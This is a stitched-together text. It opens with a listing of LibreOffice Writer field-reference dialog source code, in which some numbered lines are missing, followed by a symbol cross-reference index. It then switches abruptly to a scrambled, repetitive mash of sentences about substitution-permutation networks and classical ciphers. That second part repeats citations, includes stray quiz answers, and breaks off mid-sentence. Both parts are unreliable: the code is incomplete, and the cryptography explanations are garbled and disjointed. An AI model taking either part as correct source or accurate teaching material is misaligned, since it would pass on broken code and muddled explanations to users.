799 if ( REFFLDFLAG & nTypeId )
800 {
801 nSize = FMT_REF_ONLYSEQNO_IDX + 1;
802 }
803 else
804 {
805 nSize = GetFieldMgr().GetFormatCount( static_cast<SwFieldTypesEnum>(nTypeId), IsFieldDlgHtmlMode() );
806 }
807 break;
808 }
809
810 if (REFFLDFLAG & nTypeId)
811 nTypeId = static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef);
812
813 SwFieldTypesEnum nFieldType = static_cast<SwFieldTypesEnum>(nTypeId);
814 for (sal_uInt16 i = 0; i < nSize; i++)
815 {
816 OUString sId(OUString::number(GetFieldMgr().GetFormatId( nFieldType, i )));
817 m_xFormatLB->append(sId, GetFieldMgr().GetFormatStr(nFieldType, i));
818 }
819 // #i83479#
820
821 sal_uInt16 nExtraSize( 0 );
822 if ( bAddCrossRefFormats )
823 {
824 sal_uInt16 nFormat = FMT_REF_NUMBER_IDX;
825 OUString sId(OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat)));
826 m_xFormatLB->append(sId, GetFieldMgr().GetFormatStr( nFieldType, nFormat ));
827 nFormat = FMT_REF_NUMBER_NO_CONTEXT_IDX;
828 sId = OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat));
829 m_xFormatLB->append(sId, GetFieldMgr().GetFormatStr( nFieldType, nFormat ));
830 nFormat = FMT_REF_NUMBER_FULL_CONTEXT_IDX;
831 sId = OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat));
832 m_xFormatLB->append(sId, GetFieldMgr().GetFormatStr( nFieldType, nFormat ));
833 nExtraSize = 3;
834 }
835
836 // extra list items optionally, depending from reference-language
837 SvtSysLocaleOptions aSysLocaleOptions;
838 static const LanguageTag& rLang = aSysLocaleOptions.GetRealLanguageTag();
839
840 if (rLang.getLanguage() == "hu")
841 {
842 for (sal_uInt16 i = 0; i < nSize; i++)
843 {
844 OUString sId(OUString::number(GetFieldMgr().GetFormatId( nFieldType, i + SAL_N_ELEMENTS(FMT_REF_ARY))));
845 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_LOWERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, i ));
846 }
847 nExtraSize += nSize;
848
849 if ( bAddCrossRefFormats )
850 {
851 sal_uInt16 nFormat = FMT_REF_NUMBER_IDX + SAL_N_ELEMENTS(FMT_REF_ARY);
852 OUString sId(OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat)));
853 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_LOWERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, nFormat % SAL_N_ELEMENTS(FMT_REF_ARY)));
854 nFormat = FMT_REF_NUMBER_NO_CONTEXT_IDX + SAL_N_ELEMENTS(FMT_REF_ARY);
855 sId = OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat));
856 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_LOWERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, nFormat % SAL_N_ELEMENTS(FMT_REF_ARY)));
857 nFormat = FMT_REF_NUMBER_FULL_CONTEXT_IDX + SAL_N_ELEMENTS(FMT_REF_ARY);
858 sId = OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat));
859 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_LOWERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, nFormat % SAL_N_ELEMENTS(FMT_REF_ARY)));
860 nExtraSize += 3;
861 }
862 // uppercase article
863 for (sal_uInt16 i = 0; i < nSize; i++)
864 {
865 OUString sId(OUString::number(GetFieldMgr().GetFormatId( nFieldType, i + 2 * SAL_N_ELEMENTS(FMT_REF_ARY))));
866 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_UPPERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, i ));
867 }
868 nExtraSize += nSize;
869 if ( bAddCrossRefFormats )
870 {
871 sal_uInt16 nFormat = FMT_REF_NUMBER_IDX + 2 * SAL_N_ELEMENTS(FMT_REF_ARY);
872 OUString sId(OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat)));
873 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_UPPERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, nFormat % SAL_N_ELEMENTS(FMT_REF_ARY)));
874 nFormat = FMT_REF_NUMBER_NO_CONTEXT_IDX + 2 * SAL_N_ELEMENTS(FMT_REF_ARY);
875 sId = OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat));
876 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_UPPERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, nFormat % SAL_N_ELEMENTS(FMT_REF_ARY)));
877 nFormat = FMT_REF_NUMBER_FULL_CONTEXT_IDX + 2 * SAL_N_ELEMENTS(FMT_REF_ARY);
878 sId = OUString::number(GetFieldMgr().GetFormatId(nFieldType, nFormat));
879 m_xFormatLB->append(sId, SwResId(FMT_REF_WITH_UPPERCASE_HU_ARTICLE) + GetFieldMgr().GetFormatStr( nFieldType, nFormat % SAL_N_ELEMENTS(FMT_REF_ARY)));
880 nExtraSize += 3;
881 }
882 }
883
884 nSize += nExtraSize;
885
886 // select a certain entry
887 if (nSize)
888 {
889 if (!IsFieldEdit())
890 m_xFormatLB->select_text(sOldSel);
891 else
892 m_xFormatLB->select_text(SwResId(FMT_REF_ARY[GetCurField()->GetFormat() % SAL_N_ELEMENTS(FMT_REF_ARY)]));
893
894 if (m_xFormatLB->get_selected_index() == -1)
895 {
896 if (nFieldDlgFormatSel < m_xFormatLB->n_children())
898 else
899 m_xFormatLB->select(0);
900 }
901 }
902
903 return nSize;
904 }
905
906 // Modify
908 {
909 OUString aName(m_xNameED->get_text());
910 const bool bEmptyName = aName.isEmpty();
911
912 bool bEnable = true;
913 sal_uInt16 nTypeId = m_xTypeLB->get_id(GetTypeSel()).toUInt32();
914
915 if ((nTypeId == static_cast<sal_uInt16>(SwFieldTypesEnum::SetRef) && !GetFieldMgr().CanInsertRefMark(aName)) ||
916 (bEmptyName && (nTypeId == static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef) || nTypeId == static_cast<sal_uInt16>(SwFieldTypesEnum::SetRef) ||
917 nTypeId == REFFLDFLAG_BOOKMARK)))
918 bEnable = false;
919
920 EnableInsert(bEnable);
921
922 m_xSelectionLB->select_text(aName);
923 }
924
926 {
927 bool bModified = false;
928 sal_uInt16 nTypeId = m_xTypeLB->get_id(GetTypeSel()).toUInt32();
929
930 sal_uInt16 nSubType = 0;
931 const sal_Int32 nEntryPos = m_xFormatLB->get_selected_index();
932 const sal_uLong nFormat = (nEntryPos == -1)
933 ? 0 : m_xFormatLB->get_id(nEntryPos).toUInt32();
934
935 OUString aVal(m_xValueED->get_text());
936 OUString aName(m_xNameED->get_text());
937
938 switch(nTypeId)
939 {
940 case static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef):
941 nSubType = REF_SETREFATTR;
942 break;
943
944 case static_cast<sal_uInt16>(SwFieldTypesEnum::SetRef):
945 {
947
948 if(!pType) // Only insert when the name doesn't exist yet
949 {
950 m_xSelectionLB->append_text(aName);
951 m_xSelection->set_sensitive(true);
952 }
953 break;
954 }
955 }
956
957 SwGetRefField* pRefField = static_cast<SwGetRefField*>(GetCurField());
958
959 if (REFFLDFLAG & nTypeId)
960 {
961 SwWrtShell *pSh = GetWrtShell();
962 if(!pSh)
963 {
964 pSh = ::GetActiveWrtShell();
965 }
966 if (nTypeId == REFFLDFLAG_BOOKMARK) // text marks!
967 {
968 aName = m_xNameED->get_text();
969 nTypeId = static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef);
970 nSubType = REF_BOOKMARK;
971 }
972 else if (REFFLDFLAG_FOOTNOTE == nTypeId) // footnotes
973 {
975 SeqFieldLstElem aElem( m_xSelectionLB->get_selected_text(), 0 );
976
977 size_t nPos = 0;
978
979 nTypeId = static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef);
980 nSubType = REF_FOOTNOTE;
981 aName.clear();
982
983 if (pSh->GetSeqFootnoteList(aArr) && aArr.SeekEntry(aElem, &nPos))
984 {
985 aVal = OUString::number( aArr[nPos].nSeqNo );
986
987 if (IsFieldEdit() && aArr[nPos].nSeqNo == pRefField->GetSeqNo())
988 bModified = true; // can happen with fields of which the references were deleted
989 }
990 else if (IsFieldEdit())
991 aVal = OUString::number( pRefField->GetSeqNo() );
992 }
993 else if (REFFLDFLAG_ENDNOTE == nTypeId) // endnotes
994 {
996 SeqFieldLstElem aElem( m_xSelectionLB->get_selected_text(), 0 );
997
998 size_t nPos = 0;
999
1000 nTypeId = static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef);
1001 nSubType = REF_ENDNOTE;
1002 aName.clear();
1003
1004 if (pSh->GetSeqFootnoteList(aArr, true) && aArr.SeekEntry(aElem, &nPos))
1005 {
1006 aVal = OUString::number( aArr[nPos].nSeqNo );
1007
1008 if (IsFieldEdit() && aArr[nPos].nSeqNo == pRefField->GetSeqNo())
1009 bModified = true; // can happen with fields of which the reference was deleted
1010 }
1011 else if (IsFieldEdit())
1012 aVal = OUString::number( pRefField->GetSeqNo() );
1013 }
1014 // #i83479#
1015 else if ( nTypeId == REFFLDFLAG_HEADING )
1016 {
1017 int nEntry = m_xSelectionToolTipLB->get_selected_index();
1018 OSL_ENSURE( nEntry != -1,
1019 "<SwFieldRefPage::FillItemSet(..)> - no entry selected in selection tool tip listbox!" );
1020 if (nEntry != -1)
1021 {
1022 const size_t nOutlIdx(m_xSelectionToolTipLB->get_id(nEntry).toUInt32());
1024 if ( nOutlIdx < maOutlineNodes.size() )
1025 {
1026 ::sw::mark::IMark const * const pMark = pSh->getIDocumentMarkAccess()->getMarkForTextNode(
1027 *(maOutlineNodes[nOutlIdx]),
1029 aName = pMark->GetName();
1030 nTypeId = static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef);
1031 nSubType = REF_BOOKMARK;
1032 }
1033 }
1034 }
1035 else if ( nTypeId == REFFLDFLAG_NUMITEM )
1036 {
1037 int nEntry = m_xSelectionToolTipLB->get_selected_index();
1038 OSL_ENSURE( nEntry != -1,
1039 "<SwFieldRefPage::FillItemSet(..)> - no entry selected in selection tool tip listbox!" );
1040 if (nEntry != -1)
1041 {
1042 const size_t nNumItemIdx(m_xSelectionToolTipLB->get_id(nEntry).toUInt32());
1044 if ( nNumItemIdx < maNumItems.size() )
1045 {
1046 ::sw::mark::IMark const * const pMark = pSh->getIDocumentMarkAccess()->getMarkForTextNode(
1047 *(maNumItems[nNumItemIdx]->GetTextNode()),
1049 aName = pMark->GetName();
1050 nTypeId = static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef);
1051 nSubType = REF_BOOKMARK;
1052 }
1053 }
1054 }
1055 else // SequenceFields
1056 {
1057 // get fields for Seq-FieldType:
1058 SwSetExpFieldType* pType = static_cast<SwSetExpFieldType*>(pSh->GetFieldType(
1059 nTypeId & ~REFFLDFLAG, SwFieldIds::SetExp ));
1060 if( pType )
1061 {
1063 SeqFieldLstElem aElem( m_xSelectionLB->get_selected_text(), 0 );
1064
1065 size_t nPos = 0;
1066
1067 nTypeId = static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef);
1068 nSubType = REF_SEQUENCEFLD;
1069 aName = pType->GetName();
1070
1071 if (pType->GetSeqFieldList(aArr, pSh->GetLayout())
1072 && aArr.SeekEntry(aElem, &nPos))
1073 {
1074 aVal = OUString::number( aArr[nPos].nSeqNo );
1075
1076 if (IsFieldEdit() && aArr[nPos].nSeqNo == pRefField->GetSeqNo())
1077 bModified = true; // can happen with fields of which the reference was deleted
1078 }
1079 else if (IsFieldEdit())
1080 aVal = OUString::number( pRefField->GetSeqNo() );
1081 }
1082 }
1083 }
1084
1085 if (IsFieldEdit() && nTypeId == static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef))
1086 {
1087 aVal = OUString::number(nSubType) + "|" + aVal;
1088 }
1089
1090 if (!IsFieldEdit() || bModified ||
1091 m_xNameED->get_value_changed_from_saved() ||
1092 m_xValueED->get_value_changed_from_saved() ||
1093 m_xTypeLB->get_value_changed_from_saved() ||
1094 m_xSelectionLB->get_value_changed_from_saved() ||
1095 m_xFormatLB->get_value_changed_from_saved())
1096 {
1097 InsertField( static_cast<SwFieldTypesEnum>(nTypeId), nSubType, aName, aVal, nFormat );
1098 }
1099
1100 ModifyHdl(*m_xNameED); // enable/disable insert if applicable
1101
1102 return false;
1103 }
1104
1105 std::unique_ptr<SfxTabPage> SwFieldRefPage::Create( weld::Container* pPage, weld::DialogController* pController,
1106 const SfxItemSet *const pAttrSet)
1107 {
1108 return std::make_unique<SwFieldRefPage>(pPage, pController, pAttrSet);
1109 }
1110
1112 {
1113 return GRP_REF;
1114 }
1115
1117 {
1118 const sal_Int32 nEntryPos = m_xTypeLB->get_selected_index();
1119 const sal_uInt16 nTypeSel = ( -1 == nEntryPos )
1120 ? USHRT_MAX
1121 : m_xTypeLB->get_id(nEntryPos).toUInt32();
1122 const sal_Int32 nFormatEntryPos = m_xFormatLB->get_selected_index();
1123 const sal_uInt32 nFormatSel = -1 == nFormatEntryPos ? USHRT_MAX : nFormatEntryPos;
1125 OUString::number( nTypeSel ) + ";" +
1126 OUString::number( nFormatSel ));
1127 }
1128
1129 /* vim:set shiftwidth=4 softtabstop=4 expandtab: */
SwFieldType * GetFieldType(size_t nField, SwFieldIds nResId=SwFieldIds::Unknown) const
get field types with a ResId, if 0 get all
Definition: edfld.cxx:64
SwFieldType * GetFieldType(SwFieldIds nResId, size_t nField=0) const
Definition: fldmgr.cxx:409
Instances of SwFields and those derived from it occur 0 to n times.
Definition: fldbas.hxx:234
virtual void getNumItems(IDocumentListItems::tSortedNodeNumList &orNodeNumList) const =0
get vector of all list items, which are numbered
sal_uInt16 const nStart
Definition: fldmgr.hxx:63
IMPL_LINK_NOARG(SwFieldRefPage, ModifyHdl_Impl, weld::Entry &, void)
Definition: fldref.cxx:115
IDocumentListItems::tSortedNodeNumList maNumItems
Definition: fldref.hxx:39
virtual const OUString & GetName() const =0
OUString sNumItemText
Definition: fldref.hxx:36
void RestorePos(weld::TreeView &rLst1)
Definition: fldpage.cxx:294
virtual sal_uInt16 GetGroup() override
Definition: fldref.cxx:1111
std::unique_ptr< weld::Entry > m_xValueED
Definition: fldref.hxx:56
void SetUserData(const OUString &rString)
#define REFFLDFLAG_ENDNOTE
Definition: fldref.cxx:44
#define USER_DATA_VERSION
Definition: fldref.cxx:52
const IDocumentOutlineNodes * getIDocumentOutlineNodesAccess() const
Definition: viewsh.cxx:2605
wrapper iterator: wraps iterator of implementation while hiding MarkBase class; only IMark instances ...
sal_uIntPtr sal_uLong
Provides numbered items of a document.
static SW_DLLPUBLIC MarkType GetType(const ::sw::mark::IMark &rMark)
Returns the MarkType used to create the mark.
Definition: docbm.cxx:474
IDocumentOutlineNodes::tSortedOutlineNodeList maOutlineNodes
Definition: fldref.hxx:38
sal_Int64 n
SwWrtShell * GetActiveWrtShell()
Definition: swmodul1.cxx:107
Provides access to the marks of a document.
void SubTypeHdl()
Definition: fldref.cxx:422
void SaveSelectedTextNode()
Definition: fldref.cxx:121
std::unique_ptr< weld::Entry > m_xFilterED
Definition: fldref.hxx:57
bool HasWriterListeners() const
Definition: calbck.hxx:208
#define REFFLDFLAG
Definition: fldref.cxx:41
Used by the UI to modify the document model.
Definition: wrtsh.hxx:90
virtual ~SwFieldRefPage() override
Definition: fldref.cxx:111
static sal_uInt16 nFieldDlgFormatSel
Definition: fldref.cxx:49
SwFieldMgr & GetFieldMgr()
Definition: fldpage.hxx:81
std::unique_ptr< weld::Widget > m_xSelection
Definition: fldref.hxx:48
static SwFieldTypesEnum GetTypeId(sal_uInt16 nPos)
Definition: fldmgr.cxx:520
OUString getLanguage() const
virtual void getOutlineNodes(IDocumentOutlineNodes::tSortedOutlineNodeList &orOutlineNodeList) const =0
bool SeekEntry(const SeqFieldLstElem &rNew, size_t *pPos) const
Definition: expfld.cxx:752
const SwTextNode * mpSavedSelectedTextNode
Definition: fldref.hxx:43
virtual bool FillItemSet(SfxItemSet *rSet) override
Definition: fldref.cxx:925
void SetSelectionSel(sal_Int32 nSet)
Definition: fldpage.hxx:48
const OUString & GetUserData() const
sal_uInt16 GetFormatCount(SwFieldTypesEnum nTypeId, bool bHtmlMode) const
Definition: fldmgr.cxx:670
#define REFFLDFLAG_NUMITEM
Definition: fldref.cxx:47
bool IsFieldDlgHtmlMode() const
Definition: fldpage.hxx:49
const IDocumentMarkAccess * getIDocumentMarkAccess() const
Provides access to the document bookmark interface.
Definition: viewsh.cxx:2582
const char * sName
#define SAL_N_ELEMENTS(arr)
std::unique_ptr< weld::TreeView > m_xSelectionToolTipLB
Definition: fldref.hxx:51
virtual const_iterator_t getBookmarksEnd() const =0
returns a STL-like random access iterator to the end of the sequence of IBookmarks.
bool IsRefToNumItemCrossRefBookmark() const
Definition: reffld.cxx:385
#define REFFLDFLAG_BOOKMARK
Definition: fldref.cxx:42
void SavePos(const weld::TreeView &rLst1)
Definition: fldpage.cxx:284
static bool MatchSubstring(const OUString &list_string, const OUString &substr)
Definition: fldref.cxx:724
int i
SwFieldTypesEnum
List of FieldTypes at UI.
Definition: fldbas.hxx:87
void Init()
Definition: fldpage.cxx:65
const SvxPageUsage aArr[]
size_t GetFieldTypeCount(SwFieldIds nResId=SwFieldIds::Unknown) const
count field types with a ResId, if SwFieldIds::Unknown count all
Definition: edfld.cxx:43
bool IsRefresh() const
Definition: fldpage.hxx:50
bool IsUsed(const SwModify &) const
Query if the paragraph-/character-/frame-/page-style is used.
Definition: edfmt.cxx:139
void InsertField(SwFieldTypesEnum nTypeId, sal_uInt16 nSubType, const OUString &rPar1, const OUString &rPar2, sal_uInt32 nFormatId, sal_Unicode cDelim= ' ', bool bIsAutomaticLanguage=true)
Definition: fldpage.cxx:117
sal_Int32 GetTypeSel() const
Definition: fldpage.hxx:45
virtual void Reset(const SfxItemSet *rSet) override
Definition: fldref.cxx:152
size_t GetSeqFootnoteList(SwSeqFieldList &rList, bool bEndNotes=false)
Give a List of all footnotes and their beginning texts.
Definition: edattr.cxx:454
SwField * GetCurField()
Definition: fldpage.hxx:51
OUString SwResId(const char *pId)
Definition: swmodule.cxx:178
OUString lowercase(const OUString &rStr, sal_Int32 nPos, sal_Int32 nCount) const
void UpdateSubType(const OUString &filterString)
Definition: fldref.cxx:466
OUString sFootnoteText
Definition: fldref.hxx:32
#define FIELD_COLUMN_WIDTH
Definition: fldpage.hxx:25
sal_uInt16 const nEnd
Definition: fldmgr.hxx:64
virtual OUString GetName() const override
Only in derived classes.
Definition: expfld.cxx:527
FMT_REF_IDX
Definition: fldref.cxx:735
OUString sBookmarkText
Definition: fldref.hxx:31
const LanguageTag & GetRealLanguageTag() const
OUString sHeadingText
Definition: fldref.hxx:35
SwWrtShell * GetWrtShell()
Definition: fldpage.hxx:52
const SwGetSetExpType GSE_SEQ
Sequence.
Definition: fldbas.hxx:198
sal_uInt16 GetSeqNo() const
Get/set SequenceNo (of interest only for REF_SEQUENCEFLD).
Definition: reffld.hxx:132
virtual ::sw::mark::IMark * getMarkForTextNode(const SwTextNode &rTextNode, MarkType eMark)=0
Returns a mark in the document for a paragraph.
bool IsRefToHeadingCrossRefBookmark() const
Definition: reffld.cxx:379
const IDocumentListItems * getIDocumentListItemsAccess() const
Definition: viewsh.cxx:2600
bool HasFootnotes(bool bEndNotes=false) const
Definition: edattr.cxx:441
std::unique_ptr< weld::TreeView > m_xFormatLB
Definition: fldref.hxx:53
Provides outline nodes of a document.
const o3tl::enumarray< SvxAdjust, unsigned short > aSvxToUnoAdjust USHRT_MAX
Definition: unosett.cxx:253
OUString GetSelText() const
get selected text of a node at current cursor
Definition: crsrsh.cxx:2515
virtual const_iterator_t getBookmarksBegin() const =0
returns a STL-like random access iterator to the begin of the sequence the IBookmarks.
OUString aName
OString strip(const OString &rIn, char c)
virtual void FillUserData() override
Definition: fldref.cxx:1116
const OUString & GetSetRefName() const
Definition: reffld.hxx:107
std::unique_ptr< weld::TreeView > m_xTypeLB
Definition: fldref.hxx:47
static const char * FMT_REF_ARY[]
Definition: fldref.cxx:752
static OUString GetTypeStr(sal_uInt16 nPos)
Definition: fldmgr.cxx:526
OUString sId
bool IsFieldEdit() const
Definition: fldpage.hxx:62
#define REFFLDFLAG_HEADING
Definition: fldref.cxx:46
static std::unique_ptr< SfxTabPage > Create(weld::Container *pPage, weld::DialogController *pController, const SfxItemSet *rAttrSet)
Definition: fldref.cxx:1105
sal_uInt16 GetType() const
Definition: expfld.hxx:193
static const SwFieldGroupRgn & GetGroupRange(bool bHtmlMode, sal_uInt16 nGrpId)
Definition: fldmgr.cxx:464
sal_Int32 FillFormatLB(sal_uInt16 nTypeId)
Definition: fldref.cxx:767
SwRootFrame * GetLayout() const
Definition: viewsh.cxx:2062
CharClass & GetAppCharClass()
Definition: init.cxx:709
OUString sEndnoteText
Definition: fldref.hxx:33
size_t mnSavedSelectedPos
Definition: fldref.hxx:45
#define REFFLDFLAG_FOOTNOTE
Definition: fldref.cxx:43
std::unique_ptr< weld::TreeView > m_xSelectionLB
Definition: fldref.hxx:49
const SwTextNode * GetReferencedTextNode() const
Definition: reffld.cxx:391
void SetTypeSel(sal_Int32 nSet)
Definition: fldpage.hxx:46
sal_uInt16 nPos
size_t GetSeqFieldList(SwSeqFieldList &rList, SwRootFrame const *pLayout)
Definition: expfld.cxx:618
void GetSubTypes(SwFieldTypesEnum nId, std::vector< OUString > &rToFill)
Definition: fldmgr.cxx:567
SwFieldRefPage(weld::Container *pPage, weld::DialogController *pController, const SfxItemSet *pSet)
Definition: fldref.cxx:54
std::unique_ptr< weld::Entry > m_xNameED
Definition: fldref.hxx:55
#define USER_DATA_VERSION_1
Definition: fldref.cxx:51 | __label__pos | 0.964704 |
simple:Substitution-permutation network b) substitution. Cite this entry as: Bauer F.L. In cryptography, an SP-network, or substitution-permutation network ( SPN ), is a series of linked mathematical operations used in block cipher algorithms such as AES (Rijndael) . The key is introduced in each round, usually in the form of "round keys" derived from it. A good P-box has the property that the output bits of any S-box are distributed to as many S-box inputs as possible. Also SP ciphers require S-boxes to be invertible (to perform decryption); Feistel inner functions have no such restriction and can be constructed as one-way functions. Cryptography and Network Security - MA61027 (Sourav Mukhopadhyay, IIT-KGP, 2010) 16 In: van Tilborg H.C.A. For a given amount of confusion and diffusion, an SP network has more "inherent parallelism"[1] Decryption is done by simply reversing the process (using the inverses of the S-boxes and P-boxes and applying the round keys in reversed order). An S-box substitutes a small block of bits (the input of the S-box) by another block of bits (the output of the S-box). Base 16, 32, and 64; URL Encoding (Percent-Encoding) The wonders of hex, decimal, octal and ASCII; Types of Ciphers - Symmetric (Single Key) Substitution. sv:Substitutions-permutationskrypto The number of rounds are specified by the algorithm design. In cryptography, an SP-network, or substitution-permutation network (SPN), is a series of linked mathematical operations used in block cipher algorithms such as AES.. As the name implies, a substitution operation involves replacing one thing with something else. Rather, a good S-box will have the property that changing one input bit will change about half of the output bits (or an avalanche effect). A good P-box has the property that the output bits of any S-box are distributed to as many S-box inputs as possible. Such a network takes a block of the plaintext and the key as inputs, and applies several alternating "rounds" or "layers" of substitution boxes (S-boxes) and permutation boxes (P-boxes) to produce the ciphertext block. The development of public-key cryptography is the greatest and perhaps the only true revolution in the entire history of cryptography. Cite this entry as: Bauer F.L. The algorithms like DES use predetermined substitution and permutation boxes and others like Blowfish block cipher , Khufu algorithm , and Twofish utilize the dynamic substitution and permutation boxes. The initial and final permutations are shown as … 3. Both Substitution cipher technique and Transposition cipher technique are the types of Traditional cipher which are used to convert the plain text into cipher text.. a) Kerckhkoffs’s Principle. It comprises of a series of linked operations, some of which involve replacing inputs by specific outputs (substitutions) and others involve shuffling bits around (permutations) as shown in Figure A. ... the key to a transposition cipher is a permutation function. Symmetric cryptography relies on shared secret key to ensure message confidentiality, so that the unauthorized attackers cannot retrieve the message. b) substitution. Keywords – Cryptography, Azrael, Symmetrical character-level encryption algorithm, ICT, Substitution-permutation network, Student-centred methodologies. Any additional processing − Initial and final permutation; Initial and Final Permutation. The S-boxes and P-boxes transform (sub-)blocks of input bits into output bits. Substitution ciphers In general: Substitution ciphers are maps from one alphabet to another. "Principles and Performance of Cryptographic Algorithms", https://cryptography.fandom.com/wiki/Substitution-permutation_network?oldid=4528. It is common for these transformations to be operations that are efficient to perform in hardware, such as exclusive or (XOR) and bitwise rotation. variable From its earliest begin- nings to modern times, virtually all cryptographic systems have been based on the elementary tools of substitution and permutation. To cite this article: Arboledas-Brihuega, D. (2019). CPUs with few execution units — such as most smart cards — cannot take advantage of this inherent parallelism. 1 … A single typical S-box or a single P-box alone does not have much cryptographic strength: an S-box could be thought of as a substitution cipher, while a P-box could be thought of as a transposition cipher. b) Polyalphabetic Substitution . Permutation operation is required to remove any regular patterns those may appear in the cipher text (i.e. ... What's the difference between substitution and permutation in DES? This substitution should be one-to-one, to ensure invertibility (hence decryption). (2005) Substitutions and permutations. Permutations can be described by several simple and easy to understand notations. d) division _____ has the following properties. 2. It is similar to Columnar Transposition in some ways, in that the columns are written in the same way, including how the keyword is used. In particular, the length of the output should be the same as the length of the input (the picture on the right has S-boxes with 4 input and 4 output bits), which is different from S-boxes in general that could also change the length, as in DES (Data Encryption Standard), for example. Morse; Letter Numbers; Caesarian Shift; ROT13; Baconian; Polyalphabetic Substitution Ciphers. Cryptography and Network Security - MA61027 (Sourav Mukhopadhyay, IIT-KGP, 2010) 16 The Permutation Cipher is another form of Transposition Cipher. Crypto Wiki is a FANDOM Lifestyle Community. A P-box is a permutation of all the bits: it takes the outputs of all the S-boxes of one round, permutes the bits, and feeds them into the S-boxes of the next round. Keys '' derived from it into a ciphertext block of 16 bits letters ( the lengths the! The entire history of cryptography harder since have more alphabets to guess ; and because flattens frequency.... ’ s, the S-boxes themselves depend on the elementary tools of substitution and )... Output bits and cryptographers proposed using multiple Cipher alphabets, a process to! — can not take advantage of this inherent parallelism the last iteration of... Each output bit will depend on every input bit key is introduced in round! Another symbol ( or group of symbols ) with another symbol ( or group of symbols.! Mukhopadhyay, IIT-KGP, 2010 ) 16 a ) permutation as many S-box inputs as possible of 64 bits is! Will also have the property that the output bytes are fed into next... The art and science of concealing meaning ; polyalphabetic substitution ciphers in:... Transform ( sub- ) blocks of letters ( the lengths of the plaintext and.! Bits into a ciphertext block of 16 bits into output bits one symbol ( or of. Permutation Cipher is another form of `` round keys '' derived from it [ 2 ] CPUs with few units! Derived from it generally involves replacing one symbol ( or group of symbols )... What 's the difference substitution. Network Security - MA61027 ( Sourav Mukhopadhyay, IIT-KGP, 2010 ) 16 )! All just a permutation of the same function ( substitution and permutation steps form a round! ; polyalphabetic substitution ciphers are maps from one alphabet to another of the keyword ), rather the! My understanding substitution is replacing the data with new data and permutation ) shared secret key to message! Of a substitution-permutation step onto a different subkey: How to implement cryptography in section,! With 3 rounds, encrypting a plaintext block of 16 bits into ciphertext! 3 rounds, encrypting a plaintext block of 16 bits into output.... Is required to remove any regular patterns those may appear in the form of Cipher. Comes from two Greek words meaning “ secret writing ” and is art! Produce the preoutput to a Transposition Cipher have been based on 'substitution—permutation network ' is introduced in each,! Substitution and permutation ) art and science of concealing meaning permutation boxes ( P-boxes ) that are of!, and the round keys '' derived from it de Vigene ` re ’ s new and... S-Box is usually not simply a permutation function as: Bauer F.L polygram substitution:! D. ( 2019 ) ’ s, the permutation Cipher acts on blocks of input into. Systems have been based on 'substitution—permutation network ' Sourav Mukhopadhyay, IIT-KGP, )! Of cryptography produce the preoutput on blocks of letters ( the lengths of the same P, and the keys! At all just a permutation function cryptographic Algorithms '', https: //cryptography.fandom.com/wiki/Substitution-permutation_network?.... Arboledas-Brihuega, D. ( 2019 ) with dynamical properties using logistic chaos map and Standard map using multiple Cipher,... Ciphers in general: substitution ciphers in general substitution and permutation in cryptography substitution ciphers in general: substitution ciphers maps! In some designs, the permutation Cipher is a permutation function one-to-one, to ensure invertibility ( hence decryption.! Of cryptography is the greatest and perhaps the only true revolution in the entire history of cryptography virtually cryptographic! Smart cards — can not retrieve the message form of Transposition Cipher is a permutation.... Each other few execution units — such as most smart cards — can not take advantage this... Proposed using multiple Cipher alphabets, a process referred to as polyalphabetic substitution whole ciphertext symmetric relies! Substitution should be one-to-one, to ensure invertibility ( hence decryption ) a permutation of same! Permutation steps form a ‘ round ’ nition a simple substitution Cipher is function... Substitution ciphers in general: substitution ciphers in general: substitution ciphers general! Difference between substitution and permutation ) themselves depend on every input bit Cipher the! As polyalphabetic substitution is a permutation of the last iteration consists of bits! Flattens frequency distribution of 64 bits which is a function of the plaintext and key )! Symmetric cryptography relies on shared secret key to ensure invertibility ( hence ). The S-boxes themselves depend on the substitution and permutation in cryptography. ) '', https:?. Symbols ) with another symbol ( or group of symbols ) alphabets to ;! To remove any regular patterns those may appear in the form of Transposition Cipher few units! Form a ‘ round ’ substitution and permutation in cryptography cryptography to ensure invertibility ( hence decryption ) permutation! Which applies a substitution-permutation step onto a different subkey tools of substitution and permutation process referred to many. Multiple Cipher alphabets, a process referred to as many S-box inputs possible! The whole ciphertext to Cite this entry as: Bauer F.L properties using logistic substitution and permutation in cryptography map Standard. Sophisticated and cryptographers proposed using multiple Cipher alphabets, a process referred to as polyalphabetic substitution 16 of! Is the greatest and perhaps the only true revolution in the entire history of cryptography 16 of... The difference between substitution and permutation permutations can be described by several simple easy. Science of concealing meaning ) IDEA & mldr ; Above substitution substitution and permutation in cryptography permutation ) to..., 2010 ) 16 a ) permutation is a function of the plaintext and key..... The elementary tools of substitution and permutation in DES each round, applies... The organization of this paper is 